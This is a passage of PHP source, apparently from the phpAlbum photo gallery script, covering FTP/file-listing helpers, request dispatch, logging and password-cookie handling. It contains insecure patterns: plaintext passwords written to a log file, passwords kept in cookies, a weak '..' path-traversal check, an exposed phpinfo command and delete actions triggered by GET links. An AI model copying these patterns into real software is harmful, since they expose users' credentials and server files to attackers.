	if($ff[0]!=$test){
		ftp_close($conn);
		return "Ftp-server photos directory points to another directory not to the photos";
	}
	$result=ftp_delete($conn,".test");	
	
	$result=ftp_close($conn);
	return "";
	
}
function my_cmp($a,$b){
	if($a['type']==$b['type']){
		if($a['name']==$b['name']) return 0;
		return ($a['name'] < $b['name']) ? -1 : 1;
	}
	if($a['type']=="dir") return -1;
	return 1;
}
function ftp_get_files($actdir){
  global $album_dir;
  $files=Array(); 
  $dir=$album_dir.$actdir;
  if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
       	   $f=Array();
           if( filetype($dir . $file)=="dir" ){
  	      $f['type']="dir";
	   }else{
  	      $f['type']="file";
	   }
	   $f['name']=$file;
	   $f['size']=filesize($dir."/".$file)." B";	
	   if(is_image($file)){
	   	list($width,$height)=getimagesize($dir."/".$file);
	   	$f['image_size']=$width." x ".$height;
	   }
	   if(function_exists('posix_getpwuid')){
	   		$ow=posix_getpwuid(fileowner($dir."/".$file));
	   		$f['owner']=$ow['name'];
	   }else{
	   		$f['owner']=fileowner($dir."/".$file);
	   }
	   if(function_exists('posix_getgrgid')){
		   $gr=posix_getgrgid(filegroup($dir."/".$file));
		   $f['group']=$gr['name'];
	   }else{
	   	   $f['group']=filegroup($dir."/".$file);
	   }
	   $f['time']=date("d.m.Y H:i:s",filectime($dir."/".$file));
	   if($f['type']=="dir" && $f['name']!=".." && $f['name']!="."){
	   	$f['func']="<a class=\"mex\" href=\"main.php?cmd=setup&var1=admin&var2=rmdir&p_dir=".urlencode(conv_out($file))."\">remove_dir</a>";
	   }else if($f['type']=="file"){
	   	$f['func']="<a class=\"mex\" href=\"main.php?cmd=setup&var1=admin&var2=delete&p_file_name=".urlencode(conv_out($file))."\">delete</a>";
	   }


	   $files[]=$f;
	}
       closedir($dh);
    }
  }
	if(is_array($files)) usort($files,"my_cmp");
	return $files;
}
/**********************************************************/
/**************END  FTP Functions *************************/
/**********************************************************/

function write_log(){
global $logs_enabled,$logs_exclude,$cmd,$var1,$logs_filename,$cache_dir,$passwd,$comment_name;
	if($logs_enabled=="true"){
	  $strings=explode(";",$logs_exclude);
	  $found="false";
	  $host=gethostbyaddr($_SERVER['REMOTE_ADDR']);
	  foreach($strings as $num=>$string){
	  	if(strlen($string)>0)
	  		if(strstr($host,$string))$found="true";
	  }
	  if($found=="false"){
	  	$file_log=fopen($cache_dir.$logs_filename,"a");
	  	fwrite($file_log,date("D.M.j G:i:s")."|".$cmd."|".$var1."|".$comment_name."|".$host."|".$passwd."\n");
	  	fclose($file_log);
	  }
	}
}

function generate_theme($var1){
	if($var1=="style_css"){
		theme_get_style_css();
		return;
	}
}

/****************************************/
/*      Start Program v0.               */
/****************************************/

/*ob_start*/
if(isset($_GET['cmd'])){
	$cmd=$_GET['cmd'];
}
if(isset($_GET['var1'])){
	$var1=$_GET['var1'];
}
if(isset($_GET['var2'])){
	$var2=$_GET['var2'];
}
if(isset($_GET['var3'])){
	$var3=$_GET['var3'];
}
if(isset($_GET['var4'])){
	$var4=$_GET['var4'];
}


if(isset($_POST['cmd'])){
	$cmd=$_POST['cmd'];
}
if(isset($_POST['var1'])){
	$var1=$_POST['var1'];
}
if(isset($_POST['var2'])){
	$var2=$_POST['var2'];
}
if(isset($_POST['var3'])){
	$var3=$_POST['var3'];
}
if(isset($_POST['var4'])){
	$var4=$_POST['var4'];
}
$p=$_POST['p'];

if($cmd!="album" &&
$cmd!="phpinfo" &&
$cmd!="thmb" &&
$cmd!="image" &&
$cmd!="imageview" &&
$cmd!="setup" &&
$cmd!="delcache" &&
$cmd!="logo" &&
$cmd!="theme" &&
$cmd!="dir_logo" &&
//$cmd!="system_check" &&
$cmd!="setquality"){

$cmd="album";
}
read_settings();

require($themes_dir."engines/".$site_engine."/engine.php");
require("language.php");
/*if(file_exists($themes_dir.$site_theme."/theme.php")){
	include($themes_dir.$site_theme."/theme.php");
}else{
	include($themes_dir."Flowing_Dark"."/theme.php");
}
*/

theme_initialize();

if($cmd=="setquality"){
	$quality=$var1;
	setcookie("phpAlbum_quality",$quality,time()+60*60*24*365);
	$cmd="album";$var1=$var2;$var2="";$var3="";
}else{
	if(isset($_COOKIE["phpAlbum_quality"])){
		$quality=$_COOKIE["phpAlbum_quality"];
	}else{
	        $quality=$quality_settings[0][6]*0+$quality_settings[1][6]*1+$quality_settings[2][6]*2;
	}
	if($quality_settings[$quality][5]==0){
	        $quality=$quality_settings[0][6]*0+$quality_settings[1][6]*1+$quality_settings[2][6]*2;
		setcookie("phpAlbum_quality",$quality,time()+60*60*24*365);
	}
	if($quality != 0 && $quality != 1 && $quality!= 2 ){
		$quality=0;
		setcookie("phpAlbum_quality",$quality,time()+60*60*24*365);
	}
}

if(strstr($var1,"..")){
  $var1="";
}
if(isset($_COOKIE['comment_name'])){
	$comment_name=$_COOKIE['comment_name'];
}
if(isset($_COOKIE['comment_email'])){
	$comment_email=$_COOKIE['comment_email'];
}

$thumb_size=$quality_settings[$quality][0];
$thumb_quality=$quality_settings[$quality][1];

$passwd=$_COOKIE["phpAlbum_passwd"];
if (isset($p)){
	$passwd.="_".$p."_";
	if($cookie_password_hours>0){
	   setcookie("phpAlbum_passwd",$passwd,time()+60*60*$cookie_password_hours);
	}else{
	   setcookie("phpAlbum_passwd",$passwd);
	}
}
/*is cachable then try to loade from cache*/
/*if (isset( $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) ){
		header('HTTP/1.0 304 Not Modified');
		exit; 
}*/
$passwd_req=get_password_for_cmd($cmd,$var1);
if($passwd_req!="" && !strstr($passwd,$passwd_req) ){
		/*need a password */
		//generate_header();
		generate_password_page($cmd,$var1,$var2);
		//generate_footer();
		return;
}
$this_is_cachable=false;
	
if(is_cachable($cmd,$var1)) {
	$this_is_cachable=true;
	if(is_cached($cache_dir,$cmd,$var1,$var2,$var3,$quality)) {
		load_from_cache($cache_dir,$cmd,$var1,$var2,$var3,$quality);
		//echo "<br>Loaded from cache";
		return;
	}
}


/*header("Last-Modified: ".date("D, d M Y H:i:s T",time()) ); */
/*testing for php-info*/
$cache_this_doc=true;
if($this_is_cachable){ob_start();}
/*test